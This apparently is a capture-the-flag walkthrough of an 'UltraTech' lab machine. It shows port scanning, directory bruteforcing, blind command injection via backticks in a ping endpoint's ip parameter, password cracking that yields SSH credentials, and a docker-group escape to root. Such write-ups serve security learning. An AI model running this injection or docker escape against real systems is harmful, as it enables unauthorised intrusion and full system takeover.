Directory Bruteforcing - Blind OS command injection - Docker Escape
Initial Compromise
Let’s run a Nmap scan
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp open http Node.js Express framework
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:71:D7:2F:E8:3E (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Lets Enumerate the http ports by directory bruteforcing them :)
000002526: 200 0 L 8 W 39 Ch "auth"
000003633: 500 10 L 61 W 1094 Ch "ping"
000030796: 500 10 L 61 W 1094 Ch "Ping"
000084978: 200 0 L 8 W 39 Ch "Auth"
The /auth looks suspicious and yes it is as it leads us to a login page
Now that we know which services are available, it’s time to exploit them Did you find somewhere you could try to login? Great Quick and dirty login implementations usually goes with poor data management There must be something you can do to explore this machine more thoroughly
The first route we found is auth. Let’s check how it works and then lets go for ping
$ curl -i "http://10.10.100.5:8081/auth"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 39
ETag: W/"27-eyFFXmdQ/Imsneqz2tUSLEVh8vY"
Date: Sat, 20 Jun 2020 05:28:27 GMT
Connection: keep-alive
You must specify a login and a password$
It seems to require a login and a password. Let’s try to provide auth with these variables
This is interesting, because the API is likely expecting a parameter to be provided.
Let’s try to guess the missing parameter. As auth was expecting a login and password, we could assume that ping is expecting an ip, right? Let’s check
$ curl -i "http://10.10.100.5:8081/ping?ip=127.0.0.1"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 251
ETag: W/"fb-cFu2RWHosOjadv694se9YWL5QfE"
Date: Sat, 20 Jun 2020 05:39:04 GMT
Connection: keep-alive
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.014 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms
YUSSSS, its ping-ing the localhost, so now why don't we try some OS-injection attacks? - Tried a couple of them but it filters every bash characters so now our only way to test is using the blind quotes
$ curl -i 'http://10.10.100.5:8081/ping?ip=`ls`
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 49
ETag: W/"31-HlSQypQjJ8bvYzsasjt4yTZkt90"
Date: Sat, 20 Jun 2020 05:56:01 GMT
Connection: keep-alive
ping: utech.db.sqlite: Name or service not known
Displayed a db file, lets cat that out for any juicy information :)
To crack the password, we could either perform a brute force attack ourselves using hashcat or John the Ripper - Im using JTR
r00t:n100906
Let's now SSH with these credentials :)
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
r00t@ultratech-prod:~$ which docker
/usr/bin/docker
r00t@ultratech-prod:~$ ls -l /usr/bin/docker
-rwxr-xr-x 1 root root 68631952 Feb 13 2019 /usr/bin/docker
r00t@ultratech-prod:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 15 months ago 15.8MB
GTFOBINS to the rescue !!!!
r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@8baf3018faef:/# whoami
root